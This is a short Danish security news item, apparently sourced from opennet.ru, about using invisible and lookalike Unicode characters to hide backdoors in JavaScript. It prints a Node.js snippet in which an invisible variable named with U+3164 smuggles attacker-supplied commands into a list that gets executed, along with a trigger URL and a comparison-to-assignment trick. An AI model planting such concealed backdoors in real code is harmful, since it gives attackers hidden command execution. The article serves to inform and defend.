Brug af usynlige unicode-tegn til at skjule handlinger i JavaScript-kode

Efter Trojan Source-angrebsmetoden, som er baseret på brugen af ​​Unicode-tegn, der ændrer visningsrækkefølgen af ​​tovejstekst, er der blevet offentliggjort en anden teknik til at introducere skjulte handlinger, der gælder for JavaScript-kode. Den nye metode er baseret på brugen af ​​unicode-tegnet "ㅤ" (kode 0x3164, "HANGUL FILLER"), som hører til kategorien bogstaver, men som ikke har noget synligt indhold. Unicode-kategorien, som denne karakter tilhører, har været tilladt siden ECMAScript 2015-specifikationen til brug i JavaScript-variabelnavne, hvilket gør det muligt at oprette usynlige variabler eller nye variabler, der ikke kan skelnes fra andre variabler i populære kodeeditorer som Notepad++ og VS Code.

Som et eksempel er koden til Node.js-platformen givet, hvor der ved hjælp af en variabel bestående af et enkelt tegn "ㅤ" skjules en bagdør, der tillader eksekvering af koden specificeret af angriberen: app.get('/ network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // faktisk står der "const { timeout,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // kommaet efterfølges af tegnet \u3164 ];

Ved første øjekast sendes kun timeoutværdien gennem den eksterne parameter, og arrayet med de kommandoer, der skal udføres, indeholder en harmløs fast liste. Men faktisk, efter timeout-variablen, tildeles værdien af ​​en anden usynlig variabel med tegnkoden \u3164, som også erstattes af rækken af ​​eksekverbare kommandoer. Så hvis et sådant design er tilgængeligt, kan en angriber sende en anmodning som "https://host:8080/network_health?%E3%85%A4=command" for at aktivere bagdøren og udføre deres kode.

Et andet eksempel er tegnet "ǃ" (ALVEOLAR KLIK), som kan bruges til at give et udråbstegn. For eksempel vil udtrykket "if(environmentǃ=ENV_PROD){", når det udføres i Node.js 14, altid være sandt, da det ikke tjekker for forskel, men tildeler værdien af ​​ENV_PROD til variablen "environmentǃ". Andre vildledende unicode-tegn omfatter "/", "−", "+", "⩵", "❨", "⫽", "꓿" og "∗".

Kilde: opennet.ru

Tilføj en kommentar